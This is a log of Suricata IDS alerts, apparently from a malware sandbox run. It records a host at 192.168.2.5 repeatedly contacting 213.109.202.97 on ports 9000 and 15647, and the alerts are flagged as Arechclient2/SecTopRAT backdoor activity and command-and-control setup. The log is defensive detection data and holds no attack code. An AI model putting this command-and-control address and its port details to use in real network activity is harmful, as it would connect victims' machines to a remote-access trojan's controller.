Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50034 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50035 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2051910 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity : 192.168.2.5:50038 -> 213.109.202.97:15647
Source: Network traffic	Suricata IDS: 2051910 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity : 192.168.2.5:50037 -> 213.109.202.97:15647
Source: Network traffic	Suricata IDS: 2051910 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity : 192.168.2.5:50039 -> 213.109.202.97:15647
Source: Network traffic	Suricata IDS: 2051910 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity : 192.168.2.5:50042 -> 213.109.202.97:15647
Source: Network traffic	Suricata IDS: 2051910 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity : 192.168.2.5:50041 -> 213.109.202.97:15647
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50036 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50040 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50043 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:49979 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2029217 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT CnC Init : 213.109.202.97:15647 -> 192.168.2.5:50042
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50045 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50046 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2051910 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity : 192.168.2.5:50048 -> 213.109.202.97:15647
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50047 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50049 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50050 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:49985 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50052 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50053 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50054 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50044 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2051910 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity : 192.168.2.5:50051 -> 213.109.202.97:15647
Source: Network traffic	Suricata IDS: 2029217 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT CnC Init : 213.109.202.97:15647 -> 192.168.2.5:50048
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50055 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50056 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2051910 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity : 192.168.2.5:50058 -> 213.109.202.97:15647
Source: Network traffic	Suricata IDS: 2029217 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT CnC Init : 213.109.202.97:15647 -> 192.168.2.5:50051
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50057 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50059 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2029217 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT CnC Init : 213.109.202.97:15647 -> 192.168.2.5:50058
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50060 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50061 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50062 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50063 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50064 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50065 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2051910 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity : 192.168.2.5:50067 -> 213.109.202.97:15647
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50066 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50069 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50070 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50071 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50072 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2029217 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT CnC Init : 213.109.202.97:15647 -> 192.168.2.5:50067
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50073 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50074 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50068 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50075 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2051910 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity : 192.168.2.5:50076 -> 213.109.202.97:15647
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50077 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2051910 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity : 192.168.2.5:50081 -> 213.109.202.97:15647
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50078 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50079 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50080 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50082 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50083 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2051910 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity : 192.168.2.5:50085 -> 213.109.202.97:15647
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50084 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2029217 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT CnC Init : 213.109.202.97:15647 -> 192.168.2.5:50081
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50086 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50087 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50088 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50089 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50090 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50091 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50092 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2029217 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT CnC Init : 213.109.202.97:15647 -> 192.168.2.5:50085
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50093 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50094 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50096 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50097 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50098 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50099 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50100 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50102 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50103 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50104 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50105 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50106 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50107 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50108 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50109 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50110 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50111 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50112 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50113 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50114 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50115 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50116 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50095 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50117 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50118 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50119 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50120 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50121 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50122 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50123 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50124 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50125 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50126 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50127 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50128 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2051910 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity : 192.168.2.5:50130 -> 213.109.202.97:15647
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50129 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50131 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50132 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50133 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2029217 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT CnC Init : 213.109.202.97:15647 -> 192.168.2.5:50130
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50134 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50135 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50136 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2051910 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity : 192.168.2.5:50138 -> 213.109.202.97:15647
Source: Network traffic	Suricata IDS: 2051910 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity : 192.168.2.5:50139 -> 213.109.202.97:15647
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50137 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50140 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50141 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2029217 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT CnC Init : 213.109.202.97:15647 -> 192.168.2.5:50139
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50142 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50143 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50144 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50145 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50146 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50147 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50148 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50149 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50150 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50151 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2051910 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity : 192.168.2.5:50153 -> 213.109.202.97:15647
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50152 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50155 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50156 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50157 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2029217 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT CnC Init : 213.109.202.97:15647 -> 192.168.2.5:50153
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50158 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50159 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50154 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2051910 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity : 192.168.2.5:50161 -> 213.109.202.97:15647
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50160 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50162 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50163 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50164 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50165 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2029217 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT CnC Init : 213.109.202.97:15647 -> 192.168.2.5:50161
Source: Network traffic	Suricata IDS: 2051910 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity : 192.168.2.5:50168 -> 213.109.202.97:15647
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50167 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50169 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50170 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50171 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50172 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50173 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2029217 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT CnC Init : 213.109.202.97:15647 -> 192.168.2.5:50168
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50175 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50176 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50174 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50177 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50178 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50179 -> 213.109.202.97:9000
